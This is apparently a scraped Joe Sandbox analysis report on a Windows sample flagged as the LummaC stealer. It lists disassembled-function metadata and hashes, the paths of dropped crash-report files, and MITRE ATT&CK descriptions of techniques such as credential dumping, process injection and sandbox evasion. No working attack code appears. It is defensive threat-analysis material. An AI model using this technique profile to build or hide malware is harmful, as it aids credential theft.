
Function 0369E907 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0369EA32
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0369EA61

Strings

mz, xrefs: 0369EA87
JE, xrefs: 0369E992
N, xrefs: 0369EA8F

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction ID: 0510a7ed8ddcfd929e8710e9e23b9180a05678281d22ab168fb6c2132bb56b9c
Opcode Fuzzy Hash: bc3b9213bb2758d3e3e68cc74ab0fc31b7c5d13228ea9ed8bb1be7c6613b1ba5
Instruction Fuzzy Hash: C6514FB0108381AFE710CF01C895B4BBBE9EBC6794F108E1DF8A44B391D7B5D9498B96

Uniqueness

Uniqueness Score: -1.00%

Function 004226D0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 004227C2
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 004227F9

Strings

MNO, xrefs: 00422814

Memory Dump Source

Source File: 00000000.00000002.1837829527.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1837829527.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction ID: 6712c612b84ee881e1d235e81750fed71cd5445294cf952b386b04711fbcdcd3
Opcode Fuzzy Hash: 8c767264797024f60dc898dc0aaff19022dbdba7ce675aa866db1637c3130b51
Instruction Fuzzy Hash: 42B11571240B108BE32ACF24C5A0797BBE2FB85704F554B1DC9A74BA90D7B4B54ACB94

Uniqueness

Uniqueness Score: -1.00%

Function 036A2937 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 036A2A29
RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?,?), ref: 036A2A60

Strings

MNO, xrefs: 036A2A7B

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID: MNO
API String ID: 237503144-1907183675
Opcode ID: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction ID: 2d3b05f77f255f81d3e71ca9290c87bbaed1028e77e5b6bccd686a64e8ad2eab
Opcode Fuzzy Hash: 78e6315bce8a6187e0842bc67264e23d18a0778db6b2ddcc4db9a03e1ee5456f
Instruction Fuzzy Hash: 36B10271140F008BE32ACF24C5A4797BBE2BB85708F554F1DC9A74BA91D7B4B50ACB84

Uniqueness

Uniqueness Score: -1.00%

Function 036AE656 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 036AE69E
SelectObject.GDI32 ref: 036AE720

Strings

, xrefs: 036AE6ED

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: c1626bbc1fc4d90baf66293be988bae82e6e04087c9ed26b50d487d65accdbf3
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: 01513BB8605B008FC364DF28D595A16BBF1FB89300B118A6DE98A8BB60D731F845CF56

Uniqueness

Uniqueness Score: -1.00%

Function 03689057 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32 ref: 036890C7

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 0368908D

Memory Dump Source

Source File: 00000000.00000002.1839528025.0000000003680000.00000040.00001000.00020000.00000000.sdmp, Offset: 03680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3680000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction ID: 39234dc8202685f87cec4eb9ae174a0a86d5a74fbe0075d9ec6543c0720e1fb1
Opcode Fuzzy Hash: 1f54d65f0a049a0af63e194947d137ef6acec4bdd30eaa2fe77be7f0d6b7cb0e
Instruction Fuzzy Hash: 5CF0A478408311DADA00FBB496046BD7AF89F5C365F10472ED9D6D5260DB75808A8B9B

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_5c35b761e7b2886414fdd9b14cedcc55e7ebf4_79a0e859_5203bd44-6de2-4e4f-aad8-78095cede41a\Report.wer

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_8ec75631d1328d44a8219509d535bd4f6799dd4_79a0e859_3912fa46-8569-4c49-a3ef-ca2a8cc690e1\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC87B.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC985.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC9A6.tmp.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCBB7.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD107.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD127.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
file.exe

Function 004156B6 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 488
COMMON

Function 004046D0 Relevance: 5.5, Strings: 4, Instructions: 506
COMMON

Function 0368003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON